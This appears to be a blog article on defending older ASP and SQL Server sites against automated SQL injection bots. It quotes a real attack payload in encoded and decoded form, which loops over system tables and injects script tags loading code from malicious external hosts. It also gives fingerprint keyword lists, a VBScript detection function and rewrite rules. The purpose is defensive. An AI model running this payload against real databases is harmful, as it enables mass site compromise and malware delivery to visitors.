Are SQL injection Attacks on the increase?SQL injection attacks seem to be on the rise lately not because there are more dedicated hackers spending time trying to exploit sites but because most of the successful attacks are caused by
bots that trawl the net 24/7 hammering sites. Now we all supposedly should know by now how to
prevent SQL injection from affecting your systems but if you have a large back catalogue of older sites that were created years ago that are still in production then they are going to be very vulnerable in the current climate. Even if these sites receive little or no traffic normally if they are accessible on the Internet they are much more likely to become victim because of these bots.
This article will look at the various ways of
preventing and recovering from an attack without having to spend months re-writing all those old sites to future proof them. If people still use these old sites then they should be expected to work and not greet the user with
Googles Reported Hack Site page. However we all know time is money and the money is in new developments not rewriting that old online ladies shoe catalogue that was written in 98.
Latest forms of SQL InjectionCurrently the
biggest automated SQL injection attack comes from derivatives of the following:
;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0×4445434C415245204054207661726368617228323535
292C4043207661263686172283430303029204445434C415245205461626C655F437572736F7220
435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D2073797
36F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420
616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747
970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50
454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F4
37572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D30
2920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432
B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D226874
74703A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D2727207
76865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C73637269
7074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A7323E3C2F7363726970
743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F722
0494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C
4F43415445205461626C655F437572736F72%20AS%20NVARCHAR(4000));EXEC(@S);
Which tries to obfuscate the main section of the code by using a local variable to hold an
encoded string that is then decoded and executed. If we decode the main section we can see that the code is making use of the system tables to loop through all textual columns and i
nserting script tags that reference a compromised site.;DECLARE @T varchar(255),@C varchar(4000)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name
FROM sysobjects a,syscolumns b
WHERE a.id=b.id and a.xtype='u'
and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor
INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
exec('update ['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://www.vtg43.ru/script.js"></script><!--'' where '+@C+' not like ''%"></title><script src="http://www.vtg43.ru/script.js"></script><!--''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
There are numerous variations of this hack with the major differences being
-The
URI of the SCRIPT tag injected into the columns.
-The name and datatype of the main variable.
-Whether the
UPDATE statement
inserts the SCRIPT tag at the start or end of existing data or overwrites it totally.
See my post l
atest SQL injection URIs for a list of the sites currently doing the rounds.
So before we look at the various
hack sticking plasters that can be applied lets just clarify that the best way to
avoid SQL injection is to design and develop your site
following best practise guidelines.The
best security is a layered approach that involves multiple barriers to make these pesky bots life as difficult as possible. So just to ensure that you all know that I am not recommending a plaster as the number 1 SQL injection prevention method I will just summarise some of the
best practises that should be utilised when developing new systems.
Prevention with good design.
The following should all be common knowledge by now as
SQL injection is not some newly discovered threat against web kind but has been around and evolving for many years. When developing new sites or
upgrading legacy systems you should try to follow these basic rules as developing with this threat in mind as apposed to an after thought will always be the
best mode of prevention.- Validate all input taken from the client application that is to be passed to the database using a white list rather than blacklisting approach. This basically means rather than stripping out certain characters and symbols only allow those that the field you are updating requires. This means checking the data type and length of the value and handling anything inappropriate.
- Use stored procedures or parametrised queries. Let ADO handle any data type conversions and quote escaping. If you are used to building up strings to execute then this means you have to rely on your own foolproof coding skills to ensure that each value appended to the string is the correct format and escaped correctly. You may think that you would never make such a stupid mistake as to forget to validate each value you add to the string but say you were off ill one day or on holiday and a junior or a colleague had to make an edit to a page on your site. For example if the required amend is to add a listbox to a page that lists news articles to allow the user to filter by a particular news category that is identified and retrieved from the database using an integer. If they forget to validate the value supplied from the listbox to make sure it was an integer then you can be guaranteed that one of these automated hack bots will exploit it within days if not hours of the change going live. I have had this exact same situation happen myself on a major system. When the change made by my colleague went live at 11pm at night by 7am the following morning the whole site had been compromised because of this one lapse in their concentration. If you think that using command objects and parameters are too long winded and complicated to write then create yourself a helper script that will make use of the commands parameter.refresh method to build the code up you require.
- Only grant the database logon that the website users connect with the minimum privileges they require. Don't give them automatic write access and make sure all your CUD (create, update, delete) operations are carried out from stored procedures that the user has execute permission on. I know a lot of people do not like the overhead of creating a stored procedure for simple SELECTs that may only exist to populate a dropdown and therefore use a mixture of stored procedures and client side dynamic SQL which is fine but by following this rule then even if the hacker finds a hole in one of your client side SELECT statements to exploit they would not have the sufficient privileges to update the database.
- If you have to use dynamic SQL in stored procedures that accept values from the site then use sp_executesql and not exec. A hacker could still exploit your system if you executed an unvalidated string within a stored procedure using exec(). You will also gain benefits from the system caching and therefore reusing the generated query plans when you use this system procedure to execute your dynamic SQL instead of exec.
- Make life hard for the hackers and don't show detailed error messages to your users when something goes wrong. Although the automated hack bots are using brute force to hit every possible URL and parameter possible in the hope of finding a hole a dedicated hacker probing your site feeds off the details provided to him when he comes across a 500 error. Although its still possible to exploit a site in the blind its a lot harder and more time consuming than having the details of the SQL you are manipulating in front of you. Its amazing how many sites I still come across that show the SQL statement in the error messages. In fact a very popular developer resource site (I will mention no names) that hosts message boards and technical articles including some about SQL injection best practises continues to show me the SQL statement it uses to log members in when I visit and it times out. End users do not need to see this information as its dangerous. Show them a nice friendly error message and then email yourself the details or log them to a file or database if you really need to know what caused the error.
Oops someone just hacked your site.So you have just had a phone call from an angry customer complaining about a virus they have just been infected with because they still use
IE 5 to browse the web and they have just visited the home page of their site that your company hosts. Or maybe you have received one of
Googles nice warning messages when you try to access the site yourself. Or maybe you just noticed the layout is screwed up because of broken tags and
truncated HTML due to newly inserted SCRIPT tags that shouldn't be there. However you found the wonderful news out that your site has been exploited you need to get moving as fast as possible and you need to know 2 main things:
1. How did they managed to hack the site.
2. How much data has been compromised or even worse deleted.
Find the hole in the system.There are many
security and logging systems available for purchase but I have a custom logging system on my sites that at the bottom of each page will log to a separate database some core information about the user and the page they are on (
user-agent, client IP, URL etc) as well as using this for reporting traffic and user statistics I have columns called
IsHackAttempt and
IsError and a timed
MS Agent job that every 15 minutes looks at the last 15 minutes of unchecked traffic data and checks the query-string for common
SQL/XSS injection fingerprints. If it finds any then I update the
IsHackAttempt flag.
This enables me to run a report of all
hack attempts over a set time period. You may find on large systems that you are constantly under attack from these bots so you should look for hack attempts that have been on pages that have just been updated or that have caused
500 errors. If you have
SQL injection attempts that cause any sort of 500 error then you should investigate immediately as something is not right. If a hacker can raise an SQL error on your system then it means its highly probable they can
manipulate your SQL probably due to incorrect parameter sanitization.
If you don't have your own
custom logging system then you can either hunt through your log files using a tool such as
Microsoft's Log Parser http://www.securityfocus.com/infocus/1712 or bulk load the log files into a database for easy searching using SQL.
Some keywords and terms you should be looking for in
GET data that would indicate an SQL hack attempt would include:
exec, select, drop, delete, sys.objects, sysobjects, sys.columns, syscolumns, cast, varchar, user, @@version, @@servername, declare, update, table.Most hacks will be through the
query-string and therefore you should be able to find the hack in the log file. Hacks from a
posted request will not be discovered in the log file unless you have written a custom method to
log POST data which I doubt many people do due to the overhead.
Use a bot to beat the bots.
There are many tools out there which
help you find holes in your site and unfortunately they are also used by hackers to find the holes in your site so do yourself a favour and beat them to it.
Before any site goes live you should run a tool such as
Paros Proxy http://www.parosproxy.org which will
crawl your site and output a nice report detailing all possible
exploitable holes in your system. As well as
SQL injection it will look for
XSS, CRLF and many other possible hacks. Run this against your development system as running it on the production system will slow it down as well as possibly filling your database up with crap if you do have
exploitable holes. Once you have run this tool view the report and investigate all pages that have been flagged as possible sources for a hacker to hit.
A database restore is not always the answer.
The most
common automated hacks at the moment involve an encoded SQL command that makes use of the system views available in
SQL Server to output multiple UPDATE statements to insert a <script> tag in every possible text based column (
char, varchar, nchar, nvarchar, text, ntext) in the database. This script will usually reference a
.js file on some
URL that tries to exploit well known holes in some older browsers through
IFrames to download viruses and other spyware to the clients PC. Once you know the actual
<script> tag that the exploit is using you can search your database to see how much data has been affected. It maybe that a backup restoration is not required and there is no point loosing customer data by restoring the last known
safe backup when its not required.
Hunting for affected rows and columns.
Using a script such as my
find text within database script you can see how much of your data is affected. It maybe that the SQL run by the hacker reached its
command timeout limit before it could affect all your tables and especially if you have a large database system only a small percentage of the data could be affected. Its also important to know whether the hacker has
purposely or accidentally overwritten or deleted any data as well as inserting his <script> tag. I have seen hacks where the value for the column being updated was wrapped in a
CAST(column as VARCHAR) statement which meant that anything after 30 characters was lost. This is because the
default length when no value is supplied for a
CAST Varchar/Char is 30 characters long. This would mean your column would contain your reference to the virus infected site and nothing else and in this case a
simple replace would not be helpful as even if you removed it you would still be missing data.
If the hacker has only inserted the
<script> at the start or the end of the existing text which seems to be the most common type then we can
easily remove the offending HTML by either using a script like my
find and replace or
reversing the code that the hacker used in the first place.
To
reverse engineer the exploit you should
URLDecode the string, remove any EXEC(@s) statement at the end so you don't accidentally run it again and replace it with a PRINT or SELECT so that when you run the SQL you will actually see the CURSOR/LOOP that the exploit is using. You can then
replace the hackers UPDATE statement with one that REPLACEs the
injected code with nothing.
Preventing re-infection.Now we have removed the
offending HTML or Javascript we need to ensure that we don't get re-infected. If we haven't managed to find the code that allowed the hacker in and we haven't got time to either check each page or rewrite the code to future proof it then we need some sticking plasters until we do get time.
I wouldn't recommend the following approaches as the only way to
prevent SQL injection. However if you have a number of old sites on a server that have holes and are repeatedly getting hit then they will most certainly help filter out a large percentage of possible hack attempts and they could also be used as another layer in your
multi layered security approach.Identify those bad bots and redirect them away from your site.If you have been
logging your users and hackers then you could try blocking future hackers in a number of ways.
- Block IP addresses that have been the source of hack attempts at your firewall. However the problem with this is that the IP addresses will change constantly and you are blocking after the attack has occurred.
- If your site is supposed to be a local or regional site e.g a UK jobs board then you may decide that only traffic from the UK or Europe should be allowed. You could identify the countries that generate the most hack attempts from your traffic data and then block ranges belonging to those countries. To find out the IP ranges for any country use a site such as Country IP Blocks. The problem with this approach is that in a global economy legitimate traffic could come from anywhere in the world and although China seems to be the source of the majority of the current hackbots it is also going to become the worlds major economy in the next few years so blocking the whole country may not be the best approach.
- Block by user-agent. This will only work for those hackers that don't spoof legitimate browsers and use easily identifiable agents such as Rippers or Fake IE. Why would a legitimate user have a browser named Fake IE?? I do not know either but you could block either through application code or through an ISAPI rewrite rule. There is no point using robots.txt as any hacker worthy of the name is going to ignore that.
Identify hackers as they attack your site.Create a global include file that can be referenced by all your pages and place it at the top of all other includes so its the first piece of code run by your site. Create a function that takes the
Request.Querystring and Request.Form as parameters and check for
common SQL injection fingerprints. If found redirect the user to a banned page.
I have also heard the idea that on this banned page you could try and gain some revenge by running an
SQL WAIT statement to consume the attackers connection time and slow them down a tad. However if you have a
limit on the number of concurrent open database connections and you are being hammered by a zombie botnet then you are going to consume your connections with these
WAIT commands which will be detrimental to your other legitimate visitors. This could also be used against you as a form of
SQL Denial of Service attack as if a user could
automate a series of requests to these pages knowing that you have a connection limit then once all the connections have been used up your site is basically out of action until a connection is released. On a database driven site this is something to be very aware of.
A message on the page informing them that they have been identified and logged will not do much good either considering most of these
bots originate overseas and come from
anonymous proxies or unsuspecting users who have become members of a
zombie network but its worth doing anyway just to scare those teenage hackers based in your own country who may be experimenting.
Your function could look a bit like this. The code is in
VBScript due to its easy readability and I'm sure most people could convert it to their preferred language with little work.
Dim blBanUser : blBanUser = False
blBanUser = BanUser(Request.Querystring)
If Not(blBanUser) Then
blBanUser = BanUser(Request.Form)
End If
If (blBanUser) Then
Response.Redirect("/banned.asp")
End If
Function BanUser(strIN)
strIN = URLDecode(strIN)
Dim objRegExpr : Set objRegExpr = New RegExp
With objRegExpr
.IgnoreCase = True
.Global = True
.Pattern = "DECLARE @\w+ N?VARCHAR\((?:\d{1,4}|max)\)"
If .Test(strIN) Then
BanUser = True
Exit Function
End If
.Pattern = "sys.?(?:objects|columns|tables)"
If .Test(strIN) Then
BanUser = True
Exit Function
End If
.Pattern = ";EXEC\(@\w+\);?"
If .Test(strIN) Then
BanUser = True
Exit Function
End If
End With
Set objRegExpr = Nothing
BanUser = False
End Function
Rather than just
logging attempted or successful hack attempts for reporting later this type of plaster will
prevent the most common SQL injections that are currently being executed by bots. I found that after implementing this function on a site that was receiving up to 2000 hack attempts each day it dropped down to 2-5 per day.
The problems with this approach are that it will slow down the response time of your site as every page load is going to have to perform these checks and the more data you submit the more there is to check. You could extend it but the more checking you do the slower it will get.
You may also decide that as the majority of hacks come through the query-string that checking the post data is not required. Also this method only checks for a few fingerprints and the SQL injections are changing all the time. It may catch 99% of the attacks currently out there but who is to say that a new type of attack that doesn't use those system tables or exec won't be rolled out in the following days. This is why some sort of logging and hack identifying system is advisable as it means you can see the types of attack that are being used against you and then modify any defensive regular expressions as required.
ISAPI Filtering.
If you have the ability to add ISAPI rewriting to your site then you can place rules that do similar regular expression fingerprint checks as the function above but before any application code is run by placing rules in an httpd.ini or .htaccess file. You can do this for one site or for the whole server.
The benefits of using
ISAPI rewriting is that it will be faster than getting your application to check for hack fingerprints plus you can
apply the plaster to the whole server in one hit for
maximum affect. The downside is that you can only check the query-string and not the post data. You also have the same issues about
injection methods changing and having to update the file.
You could use the following 3 rules to prevent the majority of the
automated hack bots at the moment. I have implemented these rules on my own sites and it has reduced the amount of hacks that get logged by roughly 95%.
# SQL INJECTION FINGERPRINTING
RewriteRule /.*?\.asp\?.*?DECLARE[^a-z]+\@\w+[^a-z]+N?VARCHAR\((?:\d{1,4}|max)\).* /jobboard/error-pages/banned.asp [I,L,U]
RewriteRule /.*?\.asp\?.*?sys.?(?:objects|columns|tables).* /jobboard/error-pages/banned.asp [I,L,U]
RewriteRule /(?:.*?\.asp\?.*?);EXEC\(\@\w+\);?.* /jobboard/error-pages/banned.asp [I,L,U]
Block access to system views.
A lot of the most current hacks make use of the
system views that are available in SQL Server that list out all the
tables, columns, data types and any other useful information that would be a goldmine to a hacker. Giving them access to these tables is like doing their work for them. They don't need to guess what names you have given the
tables and columns in your database as they have access to a list of all of them and can easily create a statement to loop through those of interest to create havoc.
In the majority of cases your website would not need
access to these views so blocking them would have
no detremential affect however you should verify this first with developers and DBA's. I personally tend to use them in parts of the system where I allow
certain admin users to upload data into the system. It enables me to output the correct format for the upload
(data type, column size, allow nulls etc) without having to worry about changing code if a column gets modified. So there are perfectly valid reasons that your site may need access to these views however if your site doesn't then deny access to your website user as although it will not stop all
SQL injection attacks it will stop the current crop of automated bots that make use of the system views to create the necessary UPDATE statements. So although not perfect if your system doesn't require access to them its another useful layer of protection to add.
ConclusionSQL injection is on the rise due to
automated bots which means any and all sites available on the
internet could fall victim. New sites should be developed with this in mind and should be implemented with a multi layered approach to prevention. This should take the form of
data validation, parameterized queries and stored procedures, least privllege access to users including denying access to system views, hiding error messages from users and the logging of hack attempts so that defenses can be kept up to date.
For a detailed look at SQL injection methods
http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/.
Article about preventing SQL injection attacks in ASP.NET
http://msdn.microsoft.com/en-us/library/ms998271.aspx
Posts
